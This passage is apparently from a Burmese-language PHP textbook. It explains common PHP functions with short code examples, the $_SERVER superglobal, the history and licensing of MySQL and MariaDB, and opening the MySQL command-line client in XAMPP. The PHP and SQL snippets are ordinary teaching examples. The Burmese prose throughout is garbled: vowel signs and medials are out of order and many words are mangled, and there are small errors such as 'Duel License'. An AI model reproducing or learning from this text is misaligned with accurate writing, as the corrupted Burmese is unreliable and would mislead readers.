လိုအပတ်ဲ့အိပခခံိ တွိ တာရ့ေရေှိပါပပ။ီ  ိနာက်ြတစ်ခနး်ကိြကူုြးပပးီ  MySQL Database  အိအကြာငး်မိလလ့ာခင်  သိရေှိ
ထားသင့်တဲ့ PHP Core Function များကုိြ ိရေးွချယ်ိဖောပ်ပိပးချငပ်ါိသးတယ်။ အလတွမ်တှမ်ိိ စဖေို့ မဟတုပ်ါဘးူ၊
ဘယ်လို  Function  ိတ ွရေှိတက်ြတယ်ဆိတုဲ့ သိဘာကုိြ သိထားဖေိုအ့တက်ွြပဲ ပဖေစ်ပါတယ်။ လပုင်နး်ခငွမ်ာှ လက်ြိတွ့
အသံုးချဖေို့လိုတဲ့အခါ php.net မာှ အသံုးပပုပုံ အိသးစိတကုိ်ြ အချနိမ်ိရေးွ ပပနလ်ည့်အကြည့်ရှု အသံုးပပုနိုငပ်ါတယ်။

explode() - စာတစ်ိအကြာငး်ကုိြ Array ိပပာငး်ဖေို့အသံုးပပုနိုငပ်ါတယ်။

$date = "2013-05-10";
$arr = explode("-", $date); # => array("2013", "05", "10");

http://php.net/
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$date Variable ထကဲြစာကုိြ Dash ( - ) နဲ့ပိုငး်ပဖေတပ်ပးီ Array အပဖေစ်ိပပာငး်လိုက်ြပခငး်ပဖေစ်ပါတယ်။
implode() - Array ကုိြ စာအပဖေစ်ိ ပပာငး်လိုတဲ့အခါ အသံုးပပုနိုငပ်ါတယ်။

$months = array("Sep", "Apr", "Jun", "Nov");
$str = implode(", ", $months) # => "Sep, Apr, Jun, Nov"

$months မာှပါဝငတ်ဲ့ Index ိတကုိွြ Comma+Space (, ) ခပံပးီ စာတစ်ိအကြာငး်အပဖေစ် တွဲဆက်ြိစလိုက်ြပခငး် ပဖေစ်
ပါတယ်။ 

-------------------------------------------------------------------------

exit() -  အိအကြာငး်အမျို းမျို းိအကြာင့်  ကြျနအ်လပု်ိ တဆွက်ြမလပု်ိ စိတာပဲ  Script  ကုိြ  ရေပလ်ိုက်ြိစလိုရေင်
အသံုးပပု နိုငပ်ါတယ်။  exit() အစား  die() ကုိြလညး်သံုးနိုငပ်ါတယ။် ရေလဒအ်တတူပူါပ။ဲ အ့ဲဒလီို ရေပလ်ိုက်ြချနိ်
မာှ ရုိက်ြထတု်ိ ဖောပ်ပိစလိုတာ ရေှိရေငလ်ညး် ထည့်သွငး်ိပးနိုငပ်ါတယ်။

exit(“Something wrong here”);

-------------------------------------------------------------------------

file_exists() - ိပးလိုက်ြတဲ့ Path မာှ File အမနှတ်စ်ကြယ်ရေှိမရေှိ စစ်ိပးပါတယ်။

echo file_exists("C:\xampp\htdocs\auth\index.php"); # => true

-------------------------------------------------------------------------

file_get_contents() - File တစ်ခအုတငွး်မာှပါဝငတ်ဲ့ Content ိတကုိွြဖေတယူ်ိပးပါတယ်။

$str = file_get_contents("name.txt");

name.txt File ထဲကြ အချက်ြအလက်ြိတ ွ$str Variable ထကုိဲြ String အိနနဲ့ ိရောက်ြရေှိိ နိစမာှပါ။

-------------------------------------------------------------------------

file() - file_get_contents() လို့ပဲ File တစ်ခအုတငွး်ပါဝငတ်ဲ့ Content ိတကုိွြဖေတယူ်ိပးပါတယ်။ ဒါ
ိပမယ့် သူကြရေလဒကုိ်ြ String အိနနဲ့မဟတုပ် ဲလိုငး်အလိုက်ြပိုင်းထားတဲ့ Array အိနနဲ့ ပပန်ိ ပးမာှပဖေစ်ပါတယ်။
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$arr = file("name.txt");

file_put_contents() - File တစ်ခတုည်ိ ဆာက်ြပပးီ အချက်ြအလက်ြိတထွည့်သွငး်ိပးပါတယ်။

file_put_contents("welcome.txt", "Hello, World!");

welcome.txt အမညန်ဲ့  File  တစ်ခတုည်ိ ဆာက်ြပပးီ အထကုိဲြ Hello, World! ဆုိတဲ့စာ ထည့်သွင်းိပးလိုက်ြမာှ
ပဖေစ်ပါ တယ်။ welcome.txt File မလူကြရေှိိ နခဲ့ရေင် Overwrite လုပသွ်ားမာှပါ။

-------------------------------------------------------------------------

in_array() - ိပးလိုက်ြတဲ့တနဖ်ေိုး Array ထဲမာှ ပါဝငသ်လားစစ်ိဆးိပးပါတယ်။

$arr = array("foo", "bar", "fiz");
$check = in_array("foo", $arr); # => true

-------------------------------------------------------------------------

is_array() - Variable တစ်ခဟုာ Array ဟတုမ်ဟတုစ်စ်ိဆးိပးပါတယ်။

$arr = array("foo", "bar", "fiz");
$check = is_array($arr); # => true

-------------------------------------------------------------------------

is_dir() - ိပးလိုက်ြတဲ့ Path ဟာ Folder တစ်ခဟုတုမ်ဟတု ်စစ်ိဆးိပးပါတယ်။

echo is_dir("C:\xampp\htdocs\auth\index.php"); # => false

-------------------------------------------------------------------------

list() - Array တစ်ခမုာှပါဝငတ်ဲ့ တနဖ်ေိုးိတကုိွြ Variable အတွဲလိုက်ြနဲ့လက်ြခံိ ပးနိုငပ်ါတယ။်

$date = date("d-m-Y");     # => "12-05-2013"
$arr = explode("-", $date);     # => array("12", "05", "2013");
list($day, $month, $year) = $arr;   # => $day = 12, $month = 05, $year = 2013

-------------------------------------------------------------------------
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max() -  ိပးလာတဲ့တနဖ်ေိုးိတထွကဲြ အကကီြးဆံုးကုိြိရေးွိပးပါတယ်။ တနဖ်ေိုးိတကုိွြ ဒအီတိုင်းတနး်စီ ိပးနိုင်သလို
Array တစ်ခ ုအိနနဲ့လညး် ိပးနိုငပ်ါတယ်။

echo max(2, 5, 8, 1); # => 8
$arr = array(21, 32, 43, 12);
echo max($arr); # => 43

-------------------------------------------------------------------------

min() - max() နဲ့သိဘာတရေားအတတူပူါပ။ဲ သူကြိတာ ့အိသးဆံုးတနဖ်ေိုးကုိြ ိရေးွိပးပါတယ်။

-------------------------------------------------------------------------

pathinfo() - ိပးလိုက်ြတဲ့ Path နဲ့ပတသ်က်ြတဲ့ အချက်ြအလက်ြိတကုိွြ Array အိနနဲ့ပပန်ိ ပးပါတယ်။ 

$path = pathinfo('C:\xampp\htdocs\gallery\upload.php');
echo $path['dirname']; # => C:\xampp\htdocs\gallery
echo $path['basename']; # => upload.php
echo $path['extension']; # => php
echo $path['filename']; # => upload

-------------------------------------------------------------------------

phpinfo() - PHP Setting ိတ၊ွ ထည့်သွငး်ထားတဲ့ Extension ိတနွဲ့ပတသ်က်ြတဲ့အချက်ြအလက်ြိတနွဲ့ အပခား
Configuration ိတကုိွြ အိသးစတိ်ိ ဖောပ်ပိပးပါတယ်။ App တည်ိ ဆာက်ြရောမာှ အသံုးမဝငပ်ါဘူး။ PHP Setting
ကုိြ သိရေှိလိုတဲ့အခါမာှအသံုးဝငပ်ါတယ်။

-------------------------------------------------------------------------

print_r() - Array တစ်ခမုာှပါဝငတ်ဲ့ တနဖ်ေိုးိတကုိွြ ရုိက်ြထတု်ိ ပးနိုငပ်ါတယ်။

$arr = array("foo", "bar", "fiz");
echo $arr; # => Array
print_r($arr); # => Array ( [0] => foo [1] => bar [2] => fiz )

-------------------------------------------------------------------------

rand() -  Random  တနဖ်ေိုးတစ်ခကုိုြထတု်ိ ပးပါတယ်။ အနမိ့်ဆံုးတနဖ်ေိုးနဲ့  အပမင့်ဆံုးတနဖ်ေိုး  သတမ်တှ်ိ ပးနိုငပ်ါ
တယ်။ ဥပမာ rand(5, 15) ဆုိရေင် 5 နဲ့ 15 အကြားထကဲြ Random တနဖ်ေိုးတစ်ခကုိုြထတု်ိ ပးသွားမာှပါ။
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shell_exec() - Command  တစ်ခကုိုြ  Run  ိစလိုတဲ့အခါ အသံုးပပုနိုင်  ပါတယ်။  shell_exec() အစား
exec() ကုိြလဲ အသံုးပပုနိုငပ်ါတယ်။  shell_exec() ကြ  Command  ကြပပန်ိ ပးလာတဲ့တနဖ်ေိုးကိြု လက်ြခရံေယူ
ိပးပါတယ်။ exec() ကြိတာ ့Command ကုိြ Run ယံု Run ိပးပခငး်ပဖေစ်ပါတယ်။

$str = shell_exec("dir");

$str Variable ထမဲာှ dir Command ကြ ပပန်ိ ပးလာတဲ့ Directory List ရေှိိ နမာှပဖေစ်ပါတယ်။

-------------------------------------------------------------------------

sleep() - Script  ကုိြ အချနိက်ြာလတစ်ခု ရေပ်ိ နိစလိုရေင် အသံုးပပုနိုငပ်ါတယ်။ ရေပ်ိ နိစလိုတဲ့ အချနိက်ြာလကုိြ
စကြ္ကန့န်ဲ့ သတမ်တှ်ိ ပးရေပါတယ်။ ဥပမာ - 

echo date("h:i:s"); # => 12:34:20
sleep(10);
echo date("h:i:s:"); # => 12:34:30

-------------------------------------------------------------------------

sort() - Array တစ်ခကုိုြ ပါဝငတ်ဲ့တနဖ်ေိုးအလိုက်ြ ငယ်စဉ်ကကီြးလိုက်ြစီိစချငရ်ေငအ်သံုးပပုနိုငပ်ါတယ်။

$arr = array("foo", "bar", "fiz", "baz");
sort($arr);
print_r($arr); # => Array([0] => bar, [1] => baz, [2] => fiz, [3] => foo)

-------------------------------------------------------------------------

rsort() - Array တစ်ခကုိုြ ပါဝငတ်ဲ့တနဖ်ေိုးအလိုက်ြ ကကီြးစဉင်ယ်လိုက်ြ စီိစချငရ်ေငအ်သံုးပပုနိုငပ်ါတယ်။

-------------------------------------------------------------------------

array_values() - Array တစ်ခရုေဲ့  Value ိတကုိွြချညး် Array အိနနဲ့ ပပန်ိ ပးပါတယ်။

-------------------------------------------------------------------------

array_keys() - Array တစ်ခကုိုြ Keys ိတကုိွြချညး် Array အိနနဲ့ ပပန်ိ ပးပါတယ်။

-------------------------------------------------------------------------
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str_replace() - စာိအကြာငး်တစ်ိအကြာငး်အတငွ်းမာှပါဝငတ်ဲ့ စာလုံးတစ်ချို ့ကုိြ အစားထိုးိစလိုတဲ့အခါအသံုးပပု
ပါ တယ်။

$str = "Hello Yangon, beautiful Yangon!";
echo str_replace("Yangon", "Bagan", $str);

# => Hello Bagan, beautiful Bagan!

str_replace() Function  ရေဲ့  ပထမ  Parameter  ကြ ရောှိဖေရွေမယ့်စာပဖေစ်ပပးီ၊  ဒတုယိ  Parameter  ကြိတာ့
အစားထိုး ရေမယ့်စာပဖေစ်ပါတယ်။ တတယိ  Parameter  ကြိတာ့ ရောှိဖေအွစားထိုးပခငး် ပပုလပုရ်ေမယ့်မရူေငး်စာ ပဖေစ်ပါ
တယ်။ ဒါိအကြာင့် နမနူာအရေ $str ထကဲြ Yangon ကုိြ ရောှပပးီ Bagan နဲ့အစားထိုးသွားမာှပါ။

-------------------------------------------------------------------------

strlen() - စာိအကြာငး်တစ်ိအကြာငး်မာှပါဝငတ်ဲ့ စာလုံးိတကုိွြိရေတက်ွြိပးပါတယ်။

echo strlen("Hello, World!"); # => 13

-------------------------------------------------------------------------

substr() - စာိအကြာငး်တစ်ိအကြာငး်ရေဲ့  အစိတအ်ပိုင်းတစ်ခကုိုြ ပဖေတယူ်လိုတဲ့အခါ အသံုးပပုနိုငပ်ါတယ်။

echo substr('abcdef', 2, 3); # => cde

စာလုံးိနရော  2  ကြိနစပပးီ  3  လံုးပဖေတယူ်ပါဆုိတဲ့ အဓပိ္ပါယ်ပဖေစ်ပါတယ။် ဒါိအကြာင်  cde သံုးလုံးကိြပုပနရ်ေပခငး် ပဖေစ်ပါ
တယ်။ စာလုံးိနရောကုိြ 0 ကြိန စတင်ိ ရေတက်ွြပခငး်ပဖေစ်ပါတယ်။

-------------------------------------------------------------------------

trim() - စာိအကြာငး်တစ်ိအကြာငး်ရေဲ့  ိရေှ့နဲ့ိ နာက်ြမာှ ရေှိိ နတဲ့   Space ိတကုိွြဖေယ်ထတု်ိ ပးပါတယ်။

echo trim("  Hello      "); # => Hello

-------------------------------------------------------------------------

ucwords() - စာိအကြာငး်တစ်ိအကြာငး်မာှ ပါဝငတ်ဲ့ Word တစ်ခခုျငး်စီရေဲ့အစစာလုံးိတကုိွြ စာလုံးကကီြးိပပာငး်ိပး
ပါတယ်။ 
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echo ucwords("hello world"); # => Hello World

Database  နဲ့ပတသ်က်ြတဲ့  Function  ိတ၊ွ  JSON  နဲ့ပတသ်က်ြတဲ့  Function  ိတ၊ွ  လံုပခံိ ရေးနဲ့  ပတသ်က်ြတဲ့
Function ိတကုိွြိတာ ့သက်ြဆုိငရ်ောအခန်းအလိုက်ြ ဆက်ြလက်ြိဖောပ်ပိပးသွားပါမယ်။

6.23 - $_SERVER Superglobal
ကြျွန်ိ တာတ်ို့  ဒအီခနး်မာှ  $_GET, $_POST, $_REQUEST, $_COOKIE, $_SESSION နဲ့  $_FILES
Superglobal တို့အိအကြာငး် ိဖောပ်ပခဲ့ပပးီပဖေစ်ပါတယ်။ ိနာက်ြထပပ်ဖေည့်စွက်ြိလလ့ာသင့်တဲ့ Superglobal တစ်ခကုြျန်
ိနပါိသးတယ်။ အ့ဲဒါကြိတာ့  $_SERVER Superglobal  ပဖေစ်ပါတယ်။  $_SERVER Superglobal  မာှ  လက်ြရေှိ
အလပုလ်ပု်ိ နတဲ့  PHP Script  နဲ့ပတသ်က်ြတဲ့ အချက်ြအလက်ြိတ၊ွ  Web Server  နဲ့ပတသ်က်ြတဲ့ အချက်ြအလက်ြ
ိတ၊ွ Request / Response နဲ့ ပတသ်က်ြတဲ့အချက်ြအလက်ြိတ၊ွ စုစညး်ပါဝငပ်ါတယ်။  $_SERVER Superglobal
ဟာလညး် အပခား Superglobal ိတလွို Array တစ်ခပုပဲဖေစ်တဲ့အတက်ွြ သူထမဲာှပါဝငတ်ဲ့ တနဖ်ေိုးအားလုံးကုိြ အခလုို
ရုိကြထ်တုအ်ကြည့်နိုငပ်ါတယ်။

print_r($_SERVER);

Array( 
    [HTTP_HOST] => localhost 
    [HTTP_USER_AGENT] => Mozilla/5.0
    [HTTP_ACCEPT_ENCODING] => gzip, deflate 
    [HTTP_CONNECTION] => keep-alive 
    [HTTP_CACHE_CONTROL] => max-age=0 
    [PATH] => /sbin:/usr/sbin:/bin:/usr/bin 
    [SERVER_SOFTWARE] => Apache/2.2.14 (Unix)
    [SERVER_NAME] => localhost 
    [SERVER_ADDR] => 127.0.0.1 
    [SERVER_PORT] => 80 
    [REMOTE_ADDR] => 127.0.0.1 
    [DOCUMENT_ROOT] => /opt/lampp/htdocs 
    [SCRIPT_FILENAME] => /opt/lampp/htdocs/server/index.php 
    [REMOTE_PORT] => 32769 
    [GATEWAY_INTERFACE] => CGI/1.1 
    [SERVER_PROTOCOL] => HTTP/1.1 
    [REQUEST_METHOD] => GET 
    [QUERY_STRING] => 
    [REQUEST_URI] => /server/ 
    [SCRIPT_NAME] => /server/index.php 
    [PHP_SELF] => /server/index.php 
    [REQUEST_TIME] => 1365787419 
);

Request ပပုလပုသူ် Client ရေဲ့  User Agent, IP Address, Request Method, Request URI, Query String စ
တဲ့အချက်ြအလက်ြိတ၊ွ လက်ြခံ အလပုလ်ပု်ိ နတဲ့ Server ရေဲ့  IP Address, Port, Domain Name, လက်ြရေှိ အလပု်
လပု်ိ နတဲ့ Script ဖေိုငတ်ည်ိ နရော စသပဖေင့် အသံုးဝငတ်ဲ့ အချက်ြလက်ြိတ ွစုစညး်ပါဝင်ိ နတဲ့ Variable တစ်ခပုဖေစ်ပါ
တယ်။ ဆက်ြလက်ြပပးီ PHP နဲ့ MySQL တွဲဖေက်ြအလပုလ်ပုပ်ုံကုိြ ိနာက်ြတစ်ခန်းမာှ ိလလ့ာသွားအကြပါမယ။်
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အခနး် (၇) PHP and MySQL
Database အိပခပပု Project တစ်ခု လကြ်ိ တွ့တည်ိ ဆာကြပ်ခင်း

MySQL ဟာ လက်ြရေှိလသံုူးအများဆံုး Relational Database Management System (RDBMS) တစ်ခု ပဖေစ်ပါ
တယ်။ Open Source နညး်ပညာတစ်ခပုဖေစ်ပပီး MySQL-AB လ့ုိိခါ်တဲ့ ဆီွဒငန်ိုငင်မံာှတညရ်ေှိတဲ့အဖေွဲ့အစညး်တစ်ခု
ကြ စတငတ်ထီငွခ်ဲ့တာပါ။ ဒါိပမယ့် ၂၀၀၈ ခနုစ်ှမာှ Sun Microsystem ကြ MySQL ကုိြ အိမရေကိြန်ိ ဒါ်လာ တစ်
ဘလီယံီနဲ့ဝယယူ်လိုက်ြလို့  Sun Microsystem  ကြပိုငဆ်ိုငတ်ဲ့နညး်ပညာတစ်ခု ပဖေစ်သွားခဲ့ပါတယ်။ ၂၀၀၉ ခနုစ်ှမာှ
Sun Microsystem ကုိြ Oracle ကြ ထပဆ်င့် ဝယ်ယူခဲ့ပပနလ်ို့ အခခုျနိမ်ာှိတာ့  MySQL ဟာ Oracle ပိုင် နညး်
ပညာတစ်ခု ပဖေစ်ိနပါပပ။ီ

MySQL  ဟာ  Duel  License  လိုိ့ ခါ်တဲ့နညး်လမး်နဲရ့ေယူနိုငတ်ဲ့  Open  Source  နညး်ပညာတစ်ခပုါ။  Duel
License  ဆုိတာ ဒလီိုပါ။  MySQL ကုိြ  Open Source  သဘာဝအတိုငး် အခမဲ့ရေယူ အသံုးပပုနိုငယံု်သာမကြ ဆန္ဒရေှိ
ရေင်  Source Code  ကုိြပါ ရေယူနိုငပ်ါတယ်။ ဒါိပမယ့်  Open Source  ရေဲ့ကြန့်သတခ်ျက်ြတစ်ခု ပဖေစ်တဲ့၊ ရေယူထားတဲ့
Source Code  ကုိြ တိုးချဲ့  ပပုပပငမ်ှုများ ပပုလပုခ်ဲ့ရေင် အ့ဲဒလီိုပပုပပငထ်ားတဲ့  Version  ဟာလညး်  Open Source  ပဲ
ပဖေစ်ရေမယ်ဆုိတဲ့ ကြန့်သတခ်ျက်ြ ရေှိပါတယ်။ တစ်ချို ့ကြ  MySQL Source Code ကုိြရေယူပပီး လိုအပတ်ဲ့ ပပငဆ်ငမ်ှု တွ
ကုိြလညး်ပပုလပုလ်ိုပါတယ်။  ဒါိပမယ့်  အ့ဲဒပီပငဆ်ငမ်ှုကြ  သူတို့လပုင်နး်ရေဲ့  အသက်ြပဖေစ်ိနလို့  ပပငဆ်ငထ်ားတဲ့
Improvement ကုိြ Open Source မလပုလ်ိုပါဘးူ။ ဒလီိုအခါမျို းမာှ MySQL ကုိြ Commercial License အိနနဲ့
အခိအကြးိငတွစ်ခုိ ပးပပီး  ရေယူနိုငပ်ါိသးတယ်။  Commercial  License  နဲ့ရေယူထားရေင်  ပပငဆ်ငမ်ှု တကုိွြ  Open
Source မိပးလိုရေင ်မိပးပဲိ နနိုငပ်ါတယ။် ဒလီို နညး်လမး်နစ်ှမျို းနဲ့ရေယူနိုငတ်ဲ့  Duel License Product တစ်ခပုဖေစ်
ပါတယ်။ အသံုးပပုယံု  သက်ြသက်ြဆုိရေင်ိ တာ့  သိပပ်ပးီ  စဉး်စားိနစရောမလိုပါဘးူ။ အခမဲ့ရေယူ အသုံးပပုလိုက်ြယံုပါပ။ဲ
မရူေငး်စနစ်မာှ  ပပငဆ်ငမ်ှု တ ွ ပပုလပုလ်ိုတယ်ဆုိမသှာ  Open  Source  အိနနဲ့ရေယူသင့သ်လား  Commercial
License  နဲ့  ရေယူသင့်သလား ဆံုးပဖေတရ်ေမာှပါ။  ဒလီိုမျို းနစ်ှသကြရ်ော နညး်လမး်နဲ့ရေယူနိုငတ်ဲ့အတက်ွြ  MySQL  ကုိြ
WordPress, Wikipedia စတဲ့ Open Source Software အများစုကြ တွဲဖေက်ြ Database အပဖေစ် အသံုးပပုထားအကြ
သလို Google, Facebook, Flickr, Twitter စတဲ့လပုင်နး်ိတကွြလညး် အသုံးပပုအကြပါတယ်။

PHP နဲ့ ASP.NET, Java တို့ သူ့ိ နရောနဲ့သူအသံုးဝငသ်လိုပဲ  Oracle, Microsoft SQL Server စတဲ့ နညး်ပညာ
ိတဟွာလညး် ထးူပခားချက်ြကုိြယ်စီရေှိပပီး သူ့ိ နရောနဲ့သူအသံုးဝငတ်ဲ့  RDMS ိတပွဖေစ်အကြပါတယ။် ဒါိပမယ့်  Oracle
ကြ Sun ကုိြ ဝယ်ယူလိုက်ြချနိမ်ာှ၊ နညး်ပညာသဘာဝတပူပးီ ပပို ငဘ်က်ြဖေွယ်ပဖေစ်ခဲ့တဲ့ Oracle ကြ MySQL ကုိြ ပိုငဆုိ်င်
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သွားတဲ့အတက်ွြ အသံုးပပုသူိတနွဲ့  Developer  ိတအွအကြား  MySQL ရေဲ့မလူ သဘာဝအနစ်ှသာရေကုိြ ထခိိုက်ြသွားမ
လား၊ Oracle ကြ ရေညရ်ေယ်ွချက်ြရေှိရေှိနဲ့ရေပတ်န့လ်ိုက်ြလို့   MySQL ဆုိတဲ့နညး်ပညာ ဆက်ြလက်ြဖေွံ့ ပဖေို းမလာပဲ ပဖေစ်သွား
မလား စုိးရေမိစိ်တ်ိ တ ွပဖေစ်ခဲ့အကြပါတယ်။

MySQL  ရေဲ့  ဖေွံ့ ပဖေို းမှု ရေပတ်န့်သွားမာှကုိြ  စုိးရေမိသူ်  Developer  ိပါငး်ငါးိသာငး်ိကြျာက်ြ  လက်ြမတှ်ိ ရေးထိုးပပးီ
Oracle  ကြ  Sun  ကုိြဝယ်ယူပခင်းကုိြ တားဆီးိပးဖေို့  ဥိရောပသမဂ္ဂထံ ိတာငး်ဆုိခဲ့အကြပါိသးတယ်။ ဥိရောပသမဂ္ဂကြ
ဝယ်ယူပခငး်ကုိြ  မတားဆးီခဲ့ိ ပမယ့်  MySQL  ကုိြ  မလူ  MySQL-AB  ကြသွားခဲ့တဲ့  လမး်စဉ်အတိုငး်  အနညး်ဆံုး
၂၀၁၅ ခနုစ်ှထိ ဆက်ြသွားိပးရေမယ်လို့ သတမ်တှခ်ဲ့ပါတယ။် တစ်ချနိတ်ညး်မာှပ၊ဲ  MySQL ရေဲ့  မလူဖေနတ်းီရေငှတ်စ်ဦး
ပဖေစ်တဲ့ Monty Widenius ကြ MySQL 5.1 Source Code ကုိြရေယူပပီး MariaDB ဆုိတဲ့အမညန်ဲ့ MySQL မကဲွူြ
တစ်ခကုိုြ ဖေနတ်းီခဲပ့ါတယ်။ အဲဒ့အီချနိက်ြစပပီး လက်ြရေှိ MySQL အသံုးပပုိနသူိတ၊ွ MariaDB ကုိြ တစ်ပဖေညး်ပဖေညး်
ိပပာငး်သံုးလာခဲ့အကြတာ  အခုဆုိရေင်  Wikipedia  တို့  Google  တို့  Craiglist  တို့လို  လပုင်နး်ကကီြးိတကွြအစ
MariaDB  ကုိြ အသံုးပပုိနအကြပပပီဖေစ်ပါတယ်။  RedHat Linux, SuSE Linux  စတဲ့ လပုင်နး်သံုး  Linux  ိတကွြ
လညး်  MySQL  အစား  MariaDB ကုိြ  Default  အိနနဲ့ ထည့်သွငး်ိပးလာ အကြပါတယ်။ ပပးီိတာ့  XAMPP  ကြ
လညး်  သူရ့ေဲ့  ိနာက်ြပိုငး်  Package  ိတမွာှ  MySQL  ကုိြ  MariaDB  နဲ့  အစားထိုးခဲ့ပါတယ်။  ပပးီခဲ့တဲ့အခနး်မာှ
ကြျွန်ိ တာတ်ို့ ိဖောပ်ပခဲ့တဲ့ XAMPP 7.0.9 မာှ ပါဝငလ်ာတာကြလညး် MySQL မဟတု်ိ တာပ့ါဘးူ။ MariaDB ပဖေစ်
သွားပါပပ။ီ ဒါိအကြာင့် အခနး်ိခါငး်စဉမ်ာှ ပိုပပးီလသိူများတဲ့  MySQL လ့ုိ တပထ်ားိပမယ့် ကြျွန်ိ တာတ်ို့ လက်ြိတွ့
အသံုးပပုသွားမာှကြ MariaDB ပပဲဖေစ်ပါတယ်။

MariaDB  ရေဲ့  ထူးပခားချက်ြကြိတာ့  MySQL  နဲ့  အပပနအ်လနှ်  တိုက်ြရုိက်ြအစားထိုးလိုက်ြ  နိုငပ်ခငး်ပဲ  ပဖေစ်ပါတယ။်
အိပခခံ  Source တစ်ခတုညး်ကြ လာတဲ့အတက်ွြိအကြာင့်ပါ။ ဒါိအကြာင့် မလူကြ MySQL အတက်ွြ ရေညရ်ေယ်ွိရေးသား
ထားတဲ့ Code ိတ ွProject ိတကုိွြ MariaDB ိပပာငး်သံုးနိုငဖ်ေို့အတက်ွြ ဘာမ ှိပပာငး်ဖေို့ ပပငဖ်ေို့မလိုပါဘးူ။ ဒအီတိုငး်
ဆက်ြသံုးနိုငပ်ါတယ။် ကြျွန်ိ တာတ်ို့ ဆက်ြလက်ြိဖောပ်ပမယ့် Code နမနူာိတဟွာလညး် လက်ြိတွ့မာှ MySQL နဲ့ိ ရော
MariaDB နဲ့ပါ အသုံးပပုလို့ရေတဲ့ Code ိတပွဖေစ်ပါတယ်။ ဒါိအကြာင့် ဆက်ြလက်ြိဖောပ်ပတဲ့အခါ အသိများတဲ့ MySQL
ဆုိတဲ့ အသံုးအနှံုးကုိြ ဆက်ြသံုးပပးီိတာ ့ိဖောပ်ပသွားပါမယ်။

7.1 - MySQL Database Administration Tools
MySQL  ဟာ  Client-Server  ပုံစံအလပုလ်ပုတ်ဲ့ စနစ်တစ်ခပုဖေစ်ပါတယ်။  MySQL Database Server  တစ်ခမုာှ
အချက်ြအလက်ြိတ ွ စုစညး်သိမ်းဆညး်ထားတဲ့  Database  ိတအွများကကီြးပါဝငန်ိငုသ်လို၊  အသံုးပပုတဲ့  User  ိတွ
လညး်အများကကီြး ရေှိနိုငပ်ါတယ်။  User  တစ်ဦးချငး်စီအတက်ွြ  Access Right  ိတလွညး် အမျို းမျို းပဖေစ်နိုငပ်ါတယ်။
ပပးီိတာ့  အချက်ြအလက်ြ ိတကုိွြ  Database  ထဲမာှ  ကြဏ လိုက်ြစုစညး်သိမး်ဆညး်နိငုဖ်ေို့  Data Model  နဲ့  Table
Structure  ိတ ွသတမ်တှတ်ည် ိဆာက်ြိပးနိုငပ်ါတယ်။ ဒလီပုင်နး်အားလုံး ကုိြ  MySQL Server  နဲ့တွဲဖေက်ြပါဝင်
လာတဲ့  Command Line  Tool  ကုိြအသံုးပပုပပးီ  ိဆာငရ်ေက်ွြနိုငပ်ါတယ်။  XAMPP  ကုိြ  Install  လုပလ်ိုက်ြစဉက်ြ
MySQL တွဲဖေက်ြပါဝငသွ်ားပပီးပဖေစ်သလို MySQL CLI Tool ိတလွညး် ပါဝငပ်ပးီပဖေစ်ပါတယ်။

ပထမဦးဆံုး  XAMPP Control Panel  မာှ  MySQL  ကုိြ  Start  လပုပ်ပးီပဖေစ်ိနိအကြာငး်ိသချာိအာငစ်စ်ိဆးိပး
ပါ။  Server  ကုိြ စထားပပးီမသှာ ကြျနလ်ပုင်နး်များကုိြဆက်ြလက်ြိဆာငရ်ေက်ွြနိုငမ်ာှပါ။  XAMPP ကုိြ  Windows မာှ
Install  လုပထ်ားသူိတအွတက်ွြ  MySQL  CLI  Tool  ိတကွြ  C:\xampp\mysql\bin Folder  ထမဲာှ
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တညရ်ေှိိ နမာှပါ။ Command Prompt ကုိြဖေငွ့်ပပီး MySQL Server ကုိြ အခလုို ချတိဆ်က်ြဝင်ိ ရောက်ြနိုငပ်ါတယ်။

C:\xampp\mysql\bin\mysql -u root

C:\xampp\mysql\bin Folder  ထဲကြ  mysql ဆုိတဲ့  Program  ကုိြ  Run  လုိက်ြတာပဖေစ်ပါတယ်။  -u ဆုိတဲ့
Flag  ကြိတာ့  Database  ကုိြ  Access  လုပမ်ယ့်  User  တွဲဖေက်ြိပးဖေို့ပဖေစ်ပပးီ  root ဆုိတဲ့အမညကုိ်ြ  User Name
အပဖေစ် အသံုးပပုထားပါတယ်။ root ဟာ XAMPP Install လပုလ်ိုက်ြစဉက်ြတညး်ကြ ပါဝငလ်ာတဲ့ Default User
ပဖေစ်ပါတယ်။  ဒလီို  ချတိဆ်ကြဝ်င်ိ ရောက်ြလိုက်ြတာနဲ့   mysql> နဲ့အစပပုိပးထားတဲ့  MySQL  Console  ထကုိဲြ
ိရောက်ြရေှိသွားိစမာှပဖေစ်ပါတယ။် MySQL Console ထမဲာှ Query Command ိတွိ ရေးသားပခငး်အားပဖေင့် လိုအပ်
သလို စတငစီ်မနံိုငပ်ပပီဖေစ်ပါ တယ်။ USE cdcol; လို့ ိရေးသားပပးီ Enter နှိပ်ိ ပးပါ။

mysql> USE cdcol;

cdcol ဆုိတာကြ XAMPP Install လုပလ်ိုက်ြစဉက်ြတညး်ကြ ပါဝငလ်ာတဲ့ နမနူာ MySQL Database တစ်ခပုဖေစ်
ပါ  တယ်။  USE Keyword  ကုိြသံုးပပးီ  အ့ဲဒီ  Database  ကုိြအသံုးပပုမယလ်ို့  သတမ်တှလ်ိုက်ြပခငး်ပါ။  ဆက်ြလက်ြပပးီ
SELECT * FROM cds; လို့ ိရေးစမး်အကြည့်ပါ။ ခလုိုရေလဒကုိ်ြ ရေရေှိပါလမိ့်မယ်။

mysql> SELECT * FROM cds; 

+-----------------------------------+------------------+------+----+ 
| titel                             | interpret        | jahr | id | 
+-----------------------------------+------------------+------+----+ 
| Beauty                            | Ryuichi Sakamoto | 1990 |  1 | 
| Goodbye Country (Hello Nightclub) | Groove Armada    | 2001 |  4 | 
| Glee                              | Bran Van 3000    | 1997 |  5 | 
+-----------------------------------+------------------+------+----+ 
3 rows in set (0.02 sec) 

cds ဟာ  cdcol Database  ထမဲာှရေှိိ နတဲ့  အချက်ြအလက်ြိတစုွစညး်သိမး်ဆည်းထားတဲ့  Table  တစ်ခပုဖေစ်ပါ
တယ်။  SELECT  Query  ကုိြအသံုးပပုပပးီ  cds Table  ထမဲာှ  သိမး်ဆညး်ထားတဲ့အချက်ြအလက်ြများကုိြ  ရေယူ
ိစလိုက်ြပခငး် ပဖေစ်ပါ တယ်။

ဒနီညး်နဲ့  Database ိတ၊ွ User ိတနွဲ့  Table Structure ိတ၊ွ အားလုံးကုိြစီမနံိုင်ိ ပမယ့် လက်ြိတွ့မာှ အလပုသိ်ပ်
